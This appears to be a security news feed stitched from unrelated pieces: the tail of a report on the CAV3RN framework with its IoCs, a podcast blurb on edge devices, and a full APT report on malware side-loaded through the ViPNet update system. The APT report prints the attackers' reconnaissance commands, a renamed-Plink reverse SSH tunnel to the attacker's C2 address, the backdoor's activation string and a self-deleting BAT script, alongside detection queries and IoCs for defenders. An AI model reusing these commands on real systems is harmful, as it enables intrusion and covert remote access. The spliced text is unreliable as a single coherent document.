The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CAF021DDA726B8BA049C2AA395E505A1      AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806      NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678      AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

In this episode of the podcast, host Paul Roberts interviews Nishawn Smagh of the firm GreyNoise Intelligence about the findings of their State of the Edge report, an analysis of GreyNoise data on risks stemming from compromised edge devices such as broadband routers, VPN gateways, smart home devices and more. Shawn and Paul talk about how attackers are turning edge devices into their favorite entry point, and strategies for organizations to counter the growing risk of compromised edge devices.

The post Edge Devices Are Your Cyber Underbelly. Here’s Why. appeared first on The Security Ledger with Paul F. Roberts.

UPD 16.07.2026: Added rules to protect companies using our Kaspersky SIEM system, and listed events for developing custom detection rules or conducting threat hunting.

UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response.

UPD 16.07.2026: Added detection rules and examples using KEDR Expert.

UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.

UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs.

We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during the attack were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts at targeted infection of large Russian organizations in the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year, we discovered a complex backdoor mimicking ViPNet updates.

Persistence via the update system

On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component.

HelloInjector: a loader for additional malicious components

The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After starting, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and whose command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions.

After restarting inside the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload, which is stored in its body in plain text, in memory.

HelloProxy: a tool for traffic proxying and launching new malicious payloads

The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library.

The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes:

• AFD_RECV (0x12017)
• AFD_GET_TDI_HANDLES (0x12037)

These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages.

The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format:

threadid: <Thread ID> pid=<PID>\r\n

After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues.

Depending on the received command, there are two execution branches:

• Working as a proxy. The malware accepts strings in the following format:
  

  <ip_addr>:<port>

  
  Afterwards, it creates new sockets and starts forwarding traffic between them.
• Working as a loader. The malware accepts an executable file from the command server, after which it loads it into the memory of its own process and launches it in a separate thread.

During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation:

• An implant, which we named HelloExecutor, with the help of which attackers can execute commands on the infected system.
• A module for cleaning ViPNet software log files, which we named HelloCleaner. It allows hiding the attackers’ actions in the system.

We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed:

query user
ipconfig /all
ping   8.8.8.8  -n  1
net user /do
net group /do
dir "C:\Program Files (x86)"
dir "C:\Program Files (x86)\infotecs\"
dir "C:\Program Files (x86)\infotecs\ViPNet Administrator"
dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export"
dir "C:\Program Files (x86)\infotecs\ViPNet Client"
dir  "С:\ProgramData\Infotecs\ViPNet Administrator\kc\Export\"
dir  "$appdata\Infotecs\ViPNet Administrator\kc\Export\ Dst for network <номер сети удален>"
dir c:\users\[username]
query  user
dir  C:\Users\Public\music

In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols):

C:\users\public\music\frontpage.exe -C -N -R 8443:[redacted]:5003 sftp@5.39.253[.]206 -P 3522 -pw [redacted]

HelloBackdoor: a Rust-based backdoor for file system manipulations

In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string hello\n) to activate the backdoor. This backdoor further accepts the following commands:

!upload — upload a file to the infected machine
!down — download a file from the infected machine
!stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content:

@echo off
:loop
if exist <selfpath> (
del /F /Q <selfpath>
if exist <selfpath> goto loop
)
sc stop iplircontrol >nul 
timeout 5 > nul 
sc start iplircontrol > nul 
(goto) 2>nul & del /F /Q %0

If the command text did not match the above list, the command is executed using cmd.exe.

Attribution

During the analysis of one of the wtsapi32.dll file samples, we found an unused string:

GET / HTTP/1.1\r\nHost: news.sina.com\r\nConnection : keep - alive\r\nUpgrade - Insecure - Requests : 1\r\nUser - Agent : Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 145.0.0.0 Safari / 537.36 Edg / 145.0.0.0\r\nAccept : text / html, application / xhtml + xml, application / xml; q = 0.9, image / avif, image / webp, image / apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n

It refers to the news portal sina.com, which is popular in China.

In addition, while analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence.

Recommendations

Given that this is not the first time ViPNet has been used by advanced threat actor to conduct cyberattacks, we recommend paying special attention to the protection of workstations running this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise.

Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent this category of incidents. This approach is embedded in the architecture of the Kaspersky Next Expert range of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article.

Kaspersky solutions detect this threat with the following verdicts:

• Trojan.Win32.Agentb.ttoe
• Trojan.Win64.Convagent.gen
• Trojan.Win64.Agent.smgpqx
• HEUR:Trojan.Win64.DllHijacking.gen

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks.

One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule.

It is also important to monitor process injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule.

Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for HelloBackdoor activity.

The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string hello\n), which activates the backdoor.

The Kaspersky Managed Detection and Response service detects this attack using the following indicators:

1. Monitoring the creation of the wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory.
2. Monitoring the launch of unusual processes (not typical of ViPNet, lacking an InfoTeCS signature) by the ViPNet update process (Itcsrvup64.exe or Itcsrvup.exe).
3. Creation of library files (.dll) in a directory associated with ViPNet (by default, ViPNet Update System or VIPNET CLIENT) by ViPNet processes.
4. Atypical activity (file creation/process execution) from an instance of the svchost.exe process.
5. Creation of executable files in directories that are writable by default (%ProgramData%, %TEMP%, %SystemRoot%\Temp, C:\Users\Public, music|pictures|videos|contacts|links|libraries).
6. Monitoring the creation of tunnels using ssh or plink processes (identification is performed based on the original PE file name, not the executable file name); the detection is based on the presence of substrings like port:address:port and their variations in the command line.

To protect companies using our Kaspersky SIEM system, the product repository contains rules that help detect such malicious activity.
Reconnaissance of users and groups, as well as network connections using standard Windows utilities, is detected by the following rules:

• R220_02_Collection of user account information using standard Windows tools
• R221_01_Windows group discovery via Windows tools
• R224_02_Remote system discovery via standard Windows tools
• R224_14_Windows reconnaissance activity
• R226_02_Collection of information about network connections using standard Windows tools

Also, when developing your own detection rules or conducting threat hunting, we recommend paying attention to the following events:

• Creation of suspicious files in the ViPNet update directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System:
  

  (DeviceEventClassID = '4663' OR DeviceEventClassID = '11')
  AND match(FileName, '.*\\.(exe|dll)')
  AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'

• Persistence using the DLL Sideloading technique by loading the wtsapi32.dll library into ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:
  

  DeviceEventClassID = 7
  AND match(DestinationProcessName, '.*\\\\(itcsrvup64|itcsrvup)\\.exe')
  AND FileName ilike '%wtsapi32.dll'
  AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'
  AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')

• Launching non-standard processes from the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe:
  

  (DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
  AND match(SourceProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
  AND NOT match(DestinationProcessName, '.*\\\\(wmail|monitor|itcsrvup64)\\.exe')

• Launching the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:
  

  DeviceEventClassID = '1'
  AND match(DestinationProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
  AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')

• Atypical reconnaissance execution from the svchost.exe process:
  

  (DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
  AND SourceProcessName ilike '%svchost.exe'
  AND match(DeviceCustomString4, '.*cmd(.exe)?.*\/c\s+(net\s+(use|group)|sc\s+(query|start|stop)|ping|ipconfig|netstat).*')

• Creation of tunnels using renamed ssh or plink processes:
  

  DeviceEventClassID = '1'
  AND match(OldFileName, '.*(plink|ssh).*')
  AND DeviceCustomString4 match '\d+:\d+\.\d+\.\d+\.\d+:\d+'

For correct functioning of detection rules and threat hunting, it is necessary to ensure that events from Windows systems are received by the Kaspersky SIEM system in full, including events with the following identifiers: Sysmon 1, 7, 11, as well as Security 4688, 4663.

Indicators of Compromise

HelloBackdoor
16C211C96735F2FAE9361B89BD7A31BF
1BFE2B9493128574907A8279256A8BCC
f9eed2f0158dc98e7012fb809152209c

HelloBackdoor Droppers:
6001829A128FE264B4403138700C11A8 – infotecs\vipnet client\puh.exe
EE4FF46DDD8489E81447962F927BC3F6 – infotecs\vipnet client\store.exe

Utility for adding exclusions to Windows Defender:
41c938b3cd7e55d4077e34976929b140

wtsapi32.dll
B103CD21280B4061F88B2BCC51394894
9F5606A0755BC633B9BD7DB6D179C09E
0CFDFFC56F0FA325D0C4D24780B46597

5.39.253[.]206
176.32.34[.]135